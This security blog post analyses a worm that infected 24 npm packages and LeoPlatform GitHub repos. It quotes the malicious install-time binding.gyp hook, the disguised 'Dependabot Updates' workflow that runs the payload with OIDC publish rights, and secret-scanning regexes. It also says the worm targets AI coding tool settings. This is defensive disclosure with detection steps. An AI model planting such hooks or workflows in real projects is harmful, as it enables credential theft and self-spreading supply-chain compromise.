---
title: "Miasma Worm Infects Multiple LeoPlatform npm Packages"
description: "A Miasma worm variant compromised a single maintainer account and used it to publish infected versions of 20 LeoPlatform npm packages within a 3-second window. The worm also pushed weaponized GitHub Actions workflows to at least three repos. The payload is the same Bun-based credential stealer and self-propagating worm documented in our Miasma source code analysis."
url: "https://safedep.io/blog/miasma-worm-hits-leoplatform-20-npm-packages"
author: "SafeDep Team"
published: "2026-06-25"
---

# Miasma Worm Infects Multiple LeoPlatform npm Packages

A Miasma worm variant hit the LeoPlatform npm ecosystem on June 24, 2026. The attacker compromised a single maintainer's npm and GitHub tokens and used them to publish infected versions of 20 packages in a 3-second burst. The same tokens pushed weaponized GitHub Actions workflows, disguised as Dependabot, to at least three repos. The payload matches the [Miasma supply chain attack toolkit](https://safedep.io/blog/inside-the-miasma-supply-chain-attack-toolkit) documented in our earlier source code analysis: a polymorphically packed Bun-based credential stealer and self-propagating worm that targets npm, PyPI, RubyGems, GitHub, AWS, Kubernetes, HashiCorp Vault, and AI coding tool configurations.

> **Updated 2026-06-26:** Four additional `@immobiliarelabs` Backstage plugin packages (16 malicious versions) confirmed infected with the same Phantom Gyp `binding.gyp` technique. See the [full analysis below](#update-immobiliarelabs-backstage-plugins-june-26). All 24 packages are included in the checker.

Affected packages: [CSV](https://safedep.io/data/blogs/miasma-worm-leoplatform-packages.csv)

## TL;DR

- **24 npm packages** confirmed infected: 20 LeoPlatform / LeoInsights packages published at `2026-06-24T23:04:55Z`, plus 4 `@immobiliarelabs` Backstage packages across 16 malicious versions (identified 2026-06-26)
- Every infected package contains a `binding.gyp` that triggers the payload during `npm install`, bypassing lifecycle script scanners
- The payload is identical across all 20 packages after decryption (same SHA256), packed with per-package ROT cipher values and AES-128-GCM keys
- The compromised maintainer account (`czirker`) also pushed orphan `snapshot-*` branches to three GitHub repos, each carrying a 5.2 MB worm payload and a fake "Dependabot Updates" workflow
- Combined weekly download count across the 20 packages is roughly 13,600

## The 20 infected packages

All 20 packages were published within the same 3-second window. The npm registry `time` metadata confirms they share a single automated publish run:

[Compromised packages](https://safedep.io/data/blogs/miasma-worm-leoplatform-packages.csv)

The highest-traffic targets are `leo-logger` (3,140 weekly downloads), `leo-sdk` (1,830), `leo-aws` (1,730), `leo-config` (1,709), and `leo-streams` (1,497). Four packages under the same maintainers were not infected: `leo-connector-common`, `leo-connector-entity-table`, `leo-connector-postgres`, and `leo-connector-sqlserver`. All four have their npm `latest` dist-tag pointing to a prerelease version (`-rc` or `-beta`). The worm likely skips packages where the latest tag is not a stable release.

## How the infection works

Every infected package received the same three modifications compared to its previous clean version.

**1. A new `binding.gyp` file.** The file contains a single node-gyp target that uses command expansion to run `node index.js` during `npm install`:

```json
// binding.gyp (identical across all 20 packages)
{
  "targets": [
    {
      "target_name": "nothing",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}
```

The `<!(...)` syntax is a [GYP command expansion](<https://gyp.gsrc.io/docs/InputFormatReference.md#Command-Expansions-(!)>) that runs a shell command during project generation. npm automatically invokes `node-gyp rebuild` when a `binding.gyp` is present, regardless of whether the `package.json` defines any `install` or `postinstall` script. This bypasses tools that only inspect lifecycle scripts.

**2. A replaced `index.js`.** The original module code is wiped and replaced with a single-line obfuscated payload of roughly 5.2 MB. The obfuscation has three layers:

```
try { eval(
  ROT-N( charCodeArray.map(c => String.fromCharCode(c)).join(""), N )
)}
```

Each package uses a different ROT value (5, 8, 19, or 23) and a different set of AES-128-GCM keys. After decryption, every package yields the same two blobs:

| Blob | Purpose                              | Decrypted SHA256            |
| ---- | ------------------------------------ | --------------------------- |
| `_b` | Bun runtime bootstrapper (907 bytes) | `ceff7c51d70832...ea154108` |
| `_p` | Worm payload (781,580 bytes)         | `9f93d77d328338...9a6db015` |

The `_b` blob downloads [Bun 1.3.13](https://bun.sh) from GitHub releases, caches the binary in a temp directory, and exposes a global `getBunPath()` function. The `_p` blob (the worm) is written to `/tmp/p<random>.js` and executed via `bun run`. The temp file is deleted after execution.

**3. A new `bun` dependency.** Every infected `package.json` adds `"bun": "^1.3.13"`. This is the [npm Bun installer package](https://www.npmjs.com/package/bun), likely included as a fallback path for environments where the bootstrapper's `curl` download fails.

## Root cause: one compromised maintainer

The npm account `czirker` (Clint Zirker, `CZirker@commercehub.com`) is the only maintainer present on all 20 infected packages. Other maintainers like `leoinsights`, `jgrantr`, and `elsmob` appear on subsets, but `czirker` is the common denominator. The worm used this account's npm token for the mass publish and its GitHub token for the repo-level attacks.

A registry metadata query confirms the maintainer list:

```bash
curl -s "https://registry.npmjs.org/rstreams-shard-util" \
  | jq '{maintainers, "dist-tags", time}'
```

```json
{
  "maintainers": [{ "name": "czirker", "email": "CZirker@commercehub.com" }],
  "dist-tags": { "latest": "1.0.1", "beta": "2.0.0-beta.1" },
  "time": {
    "1.0.0": "2024-11-05T21:36:55.013Z",
    "1.0.1": "2026-06-24T23:04:55.296Z"
  }
}
```

The jump from `1.0.0` (November 2024) to `1.0.1` (June 24, 2026) is the infected version. This pattern repeats across all 20 packages: a long-dormant legitimate package suddenly receives a new version with a 5 MB `index.js` and a `binding.gyp`.

## GitHub repo poisoning

The worm did not stop at npm. GitHub event logs for three LeoPlatform repositories show `czirker` creating orphan branches named `snapshot-<hex>` at 22:50 UTC, roughly 14 minutes before the npm publishes:

```
22:50:34Z  CreateEvent  czirker  snapshot-f121a878  LeoPlatform/Nodejs
22:50:52Z  CreateEvent  czirker  snapshot-463d9ff7  LeoPlatform/auth-sdk
22:50:58Z  CreateEvent  czirker  snapshot-afacc302  LeoPlatform/Leo
23:03:04Z  PushEvent    czirker  snapshot-f121a878  LeoPlatform/Nodejs
23:04:55Z  (npm publishes begin)
```

The commit on the `snapshot-f121a878` branch of `LeoPlatform/Nodejs` tells the story. It is an orphan commit (no parent) authored as `czirker`, with the message "chore: update dependencies". It adds two files:

```
added  .github/workflows/npm-publish.yml  (+19 lines)
added  _index.js                          (+1 line, 5,285,240 bytes)
```

The `_index.js` is the same 5.2 MB worm payload. The workflow is a weaponized GitHub Actions pipeline:

```yaml
// .github/workflows/npm-publish.yml @ 5b32ae020b1b (orphan commit)
name: Dependabot Updates
run-name: Dependabot Updates
on:
  push
permissions:
  id-token: write
  contents: read
jobs:
  release:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
      - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
      - name: prepare
        run: bun run _index.js
        env:
          OIDC_PACKAGES: "leo-sdk"
          WORKFLOW_ID: "npm-publish.yml"
          REPO_ID_SUFFIX: "LeoPlatform/Nodejs"
```

Three things stand out. The workflow triggers on every `push` to any branch. It requests `id-token: write`, which grants access to a GitHub OIDC token that can be exchanged for npm publish credentials via [npm's trusted publishing](https://docs.npmjs.com/generating-provenance-statements). And it is named "Dependabot Updates" to blend in with legitimate dependency PRs.

A follow-up commit, this time impersonating `dependabot[bot]`, replaced the OIDC parameters with a direct `NPM_TOKEN: ${{ secrets.NPM_TOKEN }}` reference, suggesting the worm tries multiple publish strategies. Both the `actions/checkout` and `oven-sh/setup-bun` SHAs point to legitimate releases (a January 2026 checkout fix and Bun setup v2.2.0, respectively).

The master branch of `LeoPlatform/Nodejs` is clean. The weaponized workflow lives only on the orphan snapshot branch, where it would execute if merged or if a CI configuration runs workflows from all branches.

## The worm payload

The inner code uses the standard javascript-obfuscator pattern: a `_0x66ee` string lookup table with 2,588 entries, a `_0x42e6` decoder function, and a secondary runtime-constructed decoder (`fb12914b2`) called 519 times to decrypt environment variable names and API endpoints.

Static string analysis of the decrypted payload reveals the same capability set documented in our [Miasma source code analysis](https://safedep.io/blog/inside-the-miasma-supply-chain-attack-toolkit):

**Credential theft** across npm, GitHub (PATs, OIDC, JWTs), PyPI, RubyGems, Kubernetes service account tokens, HashiCorp Vault, AWS (IAM keys, STS, IMDS, Secrets Manager, SSM), 1Password, JFrog Artifactory, and SSH private keys.

**Secret scanning** via regex patterns for auth tokens, private keys, and `.npmrc` credentials:

```javascript
// Regex patterns extracted from the decrypted payload string table
/"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g
/-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g
/ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g
```

**AI coding tool targeting**, the Miasma family signature: the payload references `claudeSettingsPath`, `cursorRulesPath`, `geminiSettingsPath`, and `vscodeTasksPath`.

**npm worm propagation** with automated package enumeration (`npmRepos`, `maxPackages`), version bumping (`newVersion`), and publish tracking (`totalPackages`, `published`, `failed`, `publishStepIndex`).

**GitHub Actions workflow scanning** using regex for `npm publish` and `yarn publish` in CI configs, with `hasIdTokenWrite` checks for OIDC-based publishing.

For a complete breakdown of each module, see [Inside the Miasma Software Supply Chain Attack Toolkit](https://safedep.io/blog/inside-the-miasma-supply-chain-attack-toolkit).



## Indicators of compromise

[Indicators of Compromise](https://safedep.io/data/blogs/miasma-worm-leoplatform-iocs.csv)

**Quick detection check.** Any npm package that added a `binding.gyp` containing `<!(node index.js` in a recent version bump, combined with a new `"bun"` dependency and an `index.js` that grew to several megabytes, should be treated as infected.

## Infected packages (CSV)

[miasma-worm-leoplatform-packages.csv](https://safedep.io/data/blogs/miasma-worm-leoplatform-packages.csv)

## Update: @immobiliarelabs Backstage plugins (June 26)

Four npm packages maintained by ImmobiliareLabs — an Italian real estate tech company's open-source division — are confirmed infected with the same Phantom Gyp technique. Unlike the LeoPlatform wave (one infected version per package), multiple historical versions are compromised across all four packages, yielding 16 malicious package-version pairs:

| Package                                               | Compromised versions              |
| ----------------------------------------------------- | --------------------------------- |
| `@immobiliarelabs/backstage-plugin-gitlab-backend`    | 3.0.3, 5.2.1, 6.13.1              |
| `@immobiliarelabs/backstage-plugin-gitlab`            | 1.0.1, 2.1.2, 3.0.3, 4.0.2        |
| `@immobiliarelabs/backstage-plugin-ldap-auth-backend` | 1.1.3, 2.0.5, 3.0.2, 4.3.2, 5.2.1 |
| `@immobiliarelabs/backstage-plugin-ldap-auth`         | 1.1.4, 2.0.5, 3.0.2, 4.3.2        |

These are Backstage plugins — Spotify's open internal developer portal platform. The LDAP auth packages handle enterprise directory authentication; the GitLab packages integrate Backstage with GitLab SCM pipelines. Both are deployed inside CI/CD infrastructure at organizations running Backstage, giving the worm access to LDAP credentials, GitLab tokens, and the full build environment.

**Technique.** Each infected package carries a `binding.gyp` with the same command expansion as the LeoPlatform wave:

```json
{
  "targets": [
    {
      "target_name": "nothing",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}
```

The obfuscation layer differs. The 4.8 MB `index.js` uses a fixed **ROT13 cipher wrapped in `eval()`**, replacing the per-package variable ROT-N + AES-128-GCM two-layer scheme from the LeoPlatform wave. The simplified obfuscation — fixed shift, no AES key — is consistent with a different build configuration of the same worm toolkit. The decrypted payload is expected to be the same Bun-based credential stealer; analysis is ongoing.

**Detection.** The "Am I Affected?" checker above now includes all 16 version pairs. For command-line verification:

```bash
find node_modules -name binding.gyp | xargs grep -l '<!'
```

Any `@immobiliarelabs` package at the versions listed above that matches this pattern should be treated as infected and removed.

## Related posts

- [Inside the Miasma Software Supply Chain Attack Toolkit](https://safedep.io/blog/inside-the-miasma-supply-chain-attack-toolkit), source code analysis of the Miasma worm
- [Miasma Worm Targets AI Coding Agents via GitHub Repos](https://safedep.io/blog/miasma-worm-ai-coding-agent-config-injection), the GitHub repo persistence variant
- [Mini Shai-Hulud Hits @redhat-cloud-services](https://safedep.io/blog/redhat-cloud-services-hit-by-mini-shai-hulud-npm-worm), 32 packages compromised via OIDC trusted publishing
